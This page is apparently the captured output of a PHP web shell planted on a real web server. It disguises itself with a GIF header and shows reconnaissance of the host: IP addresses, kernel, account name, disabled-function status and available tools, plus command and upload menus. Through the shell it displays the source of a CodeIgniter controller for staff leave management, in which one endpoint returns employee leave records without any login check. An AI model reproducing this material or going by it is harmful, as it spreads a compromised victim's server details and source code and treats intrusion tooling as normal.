GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.226.200.93 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to leaves & leave types. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Leave extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/LeaveManagement'); $this->load->model('admin/SessionManagement'); $this->load->model('admin/StaffManagement'); $this->load->model('admin/DepartmentManagement'); $this->load->model('admin/DesignationManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allLeaveTypes'] = $this->LeaveManagement->getAllLeaveType()->result(); $this->load->view('admin/leaveTypes', $viewData); } else { redirect("admin/"); } } public function createLeaveType() { if ($this->sessionvalidator->isLoggedIn()) { $this->load->view('admin/createLeaveType'); } else { redirect("admin/"); } } public function saveNewLeaveType() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('lvTypeName', 'Leave Type Name', 'trim|required', array('required' => 'Leave Type Name Can Not Be Blank.')); $this->form_validation->set_rules('lvTypeShortName', 'Leave Type Short Name', 'trim|required', array('required' => 'Leave Type Short Name Can Not Be Blank.')); $queryByLeaveTypeName = $this->LeaveManagement->getLeaveTypeByName(trim($this->input->post('lvTypeName'))); $lvTypeInfoByName = $queryByLeaveTypeName->result(); $queryByLeaveShortName = $this->LeaveManagement->getLeaveTypeByShortName(trim($this->input->post('lvTypeShortName'))); $lvTypeInfoByShortName = $queryByLeaveShortName->result(); if ($this->form_validation->run() == FALSE) { $this->createLeaveType(); } else if (sizeof($lvTypeInfoByName)) { $this->session->set_flashdata('errorMessage', "A Leave Type With This Name (" . trim($this->input->post('lvTypeName')) . ") Already Exits. Please choose A Different Name."); $this->createLeaveType(); } else if (sizeof($lvTypeInfoByShortName)) { $this->session->set_flashdata('errorMessage', "A Leave Type With This Short Name (" . trim($this->input->post('lvTypeShortName')) . ") Already Exits. Please choose A Different Name."); $this->createLeaveType(); } else { $newLeaveTypeInfo = array( 'tltm_name' => addslashes(trim($this->input->post('lvTypeName'))), 'tltm_short_name' => addslashes(trim($this->input->post('lvTypeShortName'))), 'tltm_added_on' => date("Y-m-d H:i:s"), 'tltm_added_by' => $this->session->userdata("adminData")["smember_id"], 'tltm_updated_on' => date("Y-m-d H:i:s"), 'tltm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->LeaveManagement->createNewLeaveType($newLeaveTypeInfo)) { $this->session->set_flashdata('successMessage', 'Leave Type Created Successfully.'); redirect("admin/Leave"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Leave Type. Try Later.'); redirect("admin/Leave"); } } } else { redirect("admin/"); } } public function editLeaveType($tltm_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['leaveTypeInfo'] = $this->LeaveManagement->getLeaveTypeBy($tltm_id)->result()[0]; $this->load->view('admin/editLeaveType', $viewData); } else { redirect("admin/"); } } public function updateLeaveType() { $tltm_id = $this->input->post('lvId'); if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('lvTypeName', 'Leave Type Name', 'trim|required', array('required' => 'Leave Type Name Can Not Be Blank.')); $this->form_validation->set_rules('lvTypeShortName', 'Leave Type Short Name', 'trim|required', array('required' => 'Leave Type Short Name Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->editLeaveType($tltm_id); } else if (!$this->LeaveManagement->isLeaveTypeNameSafeUpdate($tltm_id, trim($this->input->post('lvTypeName')))) { $this->session->set_flashdata('errorMessage', "A Leave Type With This Name (" . trim($this->input->post('lvTypeName')) . ") Already Exits. Please choose A Different Name."); $this->editLeaveType($tltm_id); } else if (!$this->LeaveManagement->isLeaveTypeShortNameSafeUpdate($tltm_id, trim($this->input->post('lvTypeShortName')))) { $this->session->set_flashdata('errorMessage', "A Leave Type With This Short Name (" . trim($this->input->post('lvTypeShortName')) . ") Already Exits. Please choose A Different Name."); $this->editLeaveType($tltm_id); } else { $leaveTypeInfo = array( 'tltm_id' => $tltm_id, 'tltm_name' => addslashes(trim($this->input->post('lvTypeName'))), 'tltm_short_name' => addslashes(trim($this->input->post('lvTypeShortName'))), 'tltm_added_on' => date("Y-m-d H:i:s"), 'tltm_added_by' => $this->session->userdata("adminData")["smember_id"], 'tltm_updated_on' => date("Y-m-d H:i:s"), 'tltm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->LeaveManagement->updateLeaveTypeInfo($leaveTypeInfo)) { $this->session->set_flashdata('successMessage', 'Leave Type Updated Successfully.'); redirect("admin/Leave"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Leave Type. Try Later.'); redirect("admin/Leave"); } } } else { redirect("admin/"); } } public function toggleLeaveTypeStatus($tltm_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $leaveTypeUpdateData = array( 'tltm_id' => $tltm_id, 'tltm_updated_on' => date("Y-m-d H:i:s"), 'tltm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tltm_active_status' => $toUpdateStatus ); if ($this->LeaveManagement->updateLeaveTypeInfo($leaveTypeUpdateData)) { $this->session->set_flashdata('successMessage', 'Leave Status Updated Successfully.'); redirect("admin/Leave"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Leave Status. Try Later.'); redirect("admin/Leave"); } } else { redirect("admin/"); } } public function deleteLeaveType($tltm_id) { if ($this->sessionvalidator->isLoggedIn()) { $leaveTypeUpdateData = array( 'tltm_id' => $tltm_id, 'tltm_updated_on' => date("Y-m-d H:i:s"), 'tltm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tltm_delete_status' => 'T' ); if ($this->LeaveManagement->updateLeaveTypeInfo($leaveTypeUpdateData)) { $this->session->set_flashdata('successMessage', 'Leave Deleted Successfully.'); redirect("admin/Leave"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Leave. Try Later.'); redirect("admin/Leave"); } } else { redirect("admin/"); } } public function undoDeleteLeaveType($tltm_id) { if ($this->sessionvalidator->isLoggedIn()) { $leaveTypeUpdateData = array( 'tltm_id' => $tltm_id, 'tltm_updated_on' => date("Y-m-d H:i:s"), 'tltm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tltm_delete_status' => 'F' ); if ($this->LeaveManagement->updateLeaveTypeInfo($leaveTypeUpdateData)) { $this->session->set_flashdata('successMessage', 'Leave Recovered Successfully.'); redirect("admin/Leave"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Leave. Try Later.'); redirect("admin/Leave"); } } else { redirect("admin/"); } } /* Request Handlers For Leave Apply & Related Stuffs */ public function myLeaves() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $selectedSession = ""; $filteredRecords = array(); if (isset($_POST['filterSubmitBtn'])) { $selectedSession = trim($this->input->post("appliedForSession")); $selectedLeaveType = trim($this->input->post("leaveType")); $selectedStatus = trim($this->input->post("leaveStatus")); $selectedStartDate = (trim($this->input->post("startDate")) == "") ? "" : date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("startDate"))))); $selectedEndDate = (trim($this->input->post("endDate")) == "") ? "" : date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("endDate"))))); $selectedRangeAppliedWith = trim($this->input->post("dateRangeAppliedWith")); $filteredRecords = $this->LeaveManagement->getAppliedLeaveReport($this->session->userdata("adminData")["smember_id"], '', '', '', '', '', $selectedLeaveType, $selectedSession, $selectedStartDate, $selectedEndDate, $selectedRangeAppliedWith, $selectedStatus)->result(); } else { $selectedSession = $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id; $filteredRecords = $this->LeaveManagement->getAppliedLeaveReport($this->session->userdata("adminData")["smember_id"], '', '', '', '', '', '', $selectedSession, '', '', '', '')->result(); } $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('O', 'C'))->result(); $viewData['leaveTypes'] = $this->LeaveManagement->getNonDeletedActiveLeaveTypes()->result(); $viewData['selectedSession'] = $selectedSession; $viewData['filteredRecords'] = $filteredRecords; $this->load->view('admin/leave/myLeaves', $viewData); } else { redirect("admin/"); } } public function applyLeave() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C'))->result(); $viewData['leaveTypes'] = $this->LeaveManagement->getNonDeletedActiveLeaveTypes()->result(); $this->load->view('admin/leave/applyLeave', $viewData); } else { redirect("admin/"); } } public function saveNewLeaveRequest() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Session Can Not Be Blank.')); $this->form_validation->set_rules('leaveType', 'Leave Type', 'trim|required', array('required' => 'Please Select Any Leave Type.')); $this->form_validation->set_rules('leaveFrom', 'Start Date', 'trim|required', array('required' => 'Please Enter Start Date.')); $this->form_validation->set_rules('leaveTo', 'End Date', 'trim|required', array('required' => 'Please Enter End Date.')); $this->form_validation->set_rules('nosDays', 'Number Of Days', 'trim|required|numeric', array('required' => 'Please Enter Total Number Of Days. For Half Days You Can Use 0.5.')); if ($this->form_validation->run() == FALSE) { $this->applyLeave(); } else { $newLeaveRequest = array( 'smember_id' => $this->session->userdata("adminData")["smember_id"], 'tltm_id' => trim($this->input->post("leaveType")), 'session_id' => trim($this->input->post("session")), 'slm_from' => date("Y-m-d", strtotime(str_replace('/', '-', trim($this->input->post("leaveFrom"))))), 'slm_to' => date("Y-m-d", strtotime(str_replace('/', '-', trim($this->input->post("leaveTo"))))), 'slm_no_of_days' => trim($this->input->post("nosDays")), 'slm_duration' => addslashes(trim($this->input->post("leaveDuration"))), 'slm_description' => addslashes(trim($this->input->post("leaveDescription"))), 'slm_added_on' => date("Y-m-d H:i:s"), 'slm_updated_on' => date("Y-m-d H:i:s") ); if ($this->LeaveManagement->createNewLeaveRequest($newLeaveRequest)) { $this->session->set_flashdata('successMessage', 'Leave Request Submitted Successfully.'); redirect("admin/Leave/myLeaves"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Submitting Leave Request. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function deleteLeaveRequest($slm_id) { if ($this->sessionvalidator->isLoggedIn()) { $leaveUpdateData = array( 'slm_id' => $slm_id, 'slm_updated_on' => date("Y-m-d H:i:s"), 'slm_status' => 'CU' ); if ($this->LeaveManagement->updateLeaveInfo($leaveUpdateData)) { $this->session->set_flashdata('successMessage', 'Leave Request Deleted Successfully.'); redirect("admin/Leave/myLeaves"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Leave Request. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function getLeaveRequestFullInfo() { $slm_id = $_POST['slm_id']; $leave_request_info = $this->LeaveManagement->getLeaveRequestInfoBy($slm_id)->result()[0]; $status = ""; $adminActionBy = "-"; if ($leave_request_info->slm_status == "P") { $status = "<i style='color:#ffb822;cursor: pointer;' class='fa fa-clock-o'></i> Pending"; } else if ($leave_request_info->slm_status == "CU") { $status = "<i style='color:#4755AB;cursor: pointer;' class='fa fa-trash-o'></i> Deleted"; } else if ($leave_request_info->slm_status == "C") { $status = "<i style='color:#fd397a;cursor: pointer;' class='fa fa-times'></i> Rejected"; } else { $status = "<i style='color:#0abb87;cursor: pointer;' class='fa fa-check-square'></i> Approved"; } if ($leave_request_info->slm_admin_updated_by != "" || $leave_request_info->slm_admin_updated_by != NULL) { $adminInfo = $this->StaffManagement->getEmployeeInfoBy($leave_request_info->slm_admin_updated_by)->result()[0]; $adminActionBy = stripslashes($adminInfo->tprfl_firstname . " " . $adminInfo->tprfl_lastname); } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'emp_code' => ($leave_request_info->smember_code == "" || $leave_request_info->smember_code == NULL) ? "-" : stripslashes($leave_request_info->smember_code), 'requested_by' => stripslashes($leave_request_info->tprfl_firstname . " " . $leave_request_info->tprfl_lastname), 'department' => stripslashes($leave_request_info->dept_name), 'sub_department' => stripslashes($leave_request_info->sub_dept_name), 'designation_category' => stripslashes($leave_request_info->dcm_name), 'designation' => stripslashes($leave_request_info->desig_name), 'slm_id' => $leave_request_info->slm_id, 'tltm_name' => stripslashes($leave_request_info->tltm_name), 'session_name' => stripslashes($leave_request_info->session_name), 'slm_from' => date('d-m-Y', strtotime($leave_request_info->slm_from)), 'slm_to' => date('d-m-Y', strtotime($leave_request_info->slm_to)), 'slm_no_of_days' => $leave_request_info->slm_no_of_days, 'slm_duration' => stripslashes($leave_request_info->slm_duration), 'slm_description' => stripslashes($leave_request_info->slm_description), 'slm_status' => $status, 'is_admin_action_taken' => ($leave_request_info->slm_admin_updated_by != "" || $leave_request_info->slm_admin_updated_by != NULL) ? "Yes" : "No", 'slm_admin_remarks' => ($leave_request_info->slm_admin_remarks == "" || $leave_request_info->slm_admin_remarks == NULL) ? "-" : stripslashes($leave_request_info->slm_admin_remarks), 'slm_admin_updated_by' => $adminActionBy, 'slm_admin_update_on' => ($leave_request_info->slm_admin_update_on == "" || $leave_request_info->slm_admin_update_on == NULL || $leave_request_info->slm_admin_update_on == '1970-01-01') ? "-" : date('d-m-Y h:i:s A', strtotime($leave_request_info->slm_admin_update_on)), 'slm_added_on' => date('d-m-Y h:i:s A', strtotime($leave_request_info->slm_added_on)), 'slm_updated_on' => date('d-m-Y h:i:s A', strtotime($leave_request_info->slm_updated_on)) ); echo json_encode($responseData); } /* Request Handlers For Leave Sanctioning (Applied Leaves) & Related Stuffs */ public function leaveRequests() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $selectedSession = ""; $selectedSubDept = ""; $selectedDesig = ""; $selectedEmployee = ""; $filteredRecords = array(); if (isset($_POST['filterSubmitBtn'])) { $selectedSession = trim($this->input->post("appliedForSession")); $selectedLeaveType = trim($this->input->post("leaveType")); $selectedStatus = trim($this->input->post("leaveStatus")); $selectedStartDate = (trim($this->input->post("startDate")) == "") ? "" : date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("startDate"))))); $selectedEndDate = (trim($this->input->post("endDate")) == "") ? "" : date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("endDate"))))); $selectedRangeAppliedWith = trim($this->input->post("dateRangeAppliedWith")); $selectedDept = trim($this->input->post("empDept")); $selectedSubDept = trim($this->input->post("empSubDept")); $selectedDesigCat = trim($this->input->post("empDesigCat")); $selectedDesig = trim($this->input->post("empDesig")); $selectedGender = trim($this->input->post("empGender")); $selectedEmployee = trim($this->input->post("employee")); $filteredRecords = $this->LeaveManagement->getAppliedLeaveReport($selectedEmployee, $selectedDept, $selectedSubDept, $selectedDesigCat, $selectedDesig, $selectedGender, $selectedLeaveType, $selectedSession, $selectedStartDate, $selectedEndDate, $selectedRangeAppliedWith, $selectedStatus)->result(); } else { $selectedSession = $this->SessionManagement->getCurrentSessionInfo()->result()[0]->session_id; $filteredRecords = $this->LeaveManagement->getAppliedLeaveReport('', '', '', '', '', '', '', $selectedSession, '', '', '', '')->result(); } $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('O', 'C'))->result(); $viewData['leaveTypes'] = $this->LeaveManagement->getNonDeletedActiveLeaveTypes()->result(); $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result(); $viewData['selectedSession'] = $selectedSession; $viewData['selectedSubDepartment'] = $selectedSubDept; $viewData['selectedDesignation'] = $selectedDesig; $viewData['selectedEmployee'] = $selectedEmployee; $viewData['filteredRecords'] = $filteredRecords; $this->load->view('admin/leave/leaveRequests', $viewData); } else { redirect("admin/"); } } public function saveNewLeaveActionAndReturn() { if ($this->sessionvalidator->isLoggedIn()) { if (trim($this->input->post('leaveAction')) == "") { $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'resp_flag' => -1, 'current_status' => "", 'message' => 'Please Select Action To Be Taken.' ); echo json_encode($responseData); } else { $leaveUpdateData = array( 'slm_id' => trim($this->input->post('slm_id')), 'slm_status' => trim($this->input->post('leaveAction')), 'slm_admin_remarks' => addslashes(trim($this->input->post('leaveAdminRemarks'))), 'slm_admin_update_on' => date("Y-m-d H:i:s"), 'slm_admin_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->LeaveManagement->updateLeaveInfo($leaveUpdateData)) { $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'resp_flag' => 1, 'current_status' => trim($this->input->post('leaveAction')), 'message' => 'Leave Action Saved Successfully.' ); } else { $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'resp_flag' => 0, 'current_status' => trim($this->input->post('leaveAction')), 'message' => 'Some Error Occured While Saving Action. Please Try Later.' ); } echo json_encode($responseData); } } else { redirect("admin/"); } } }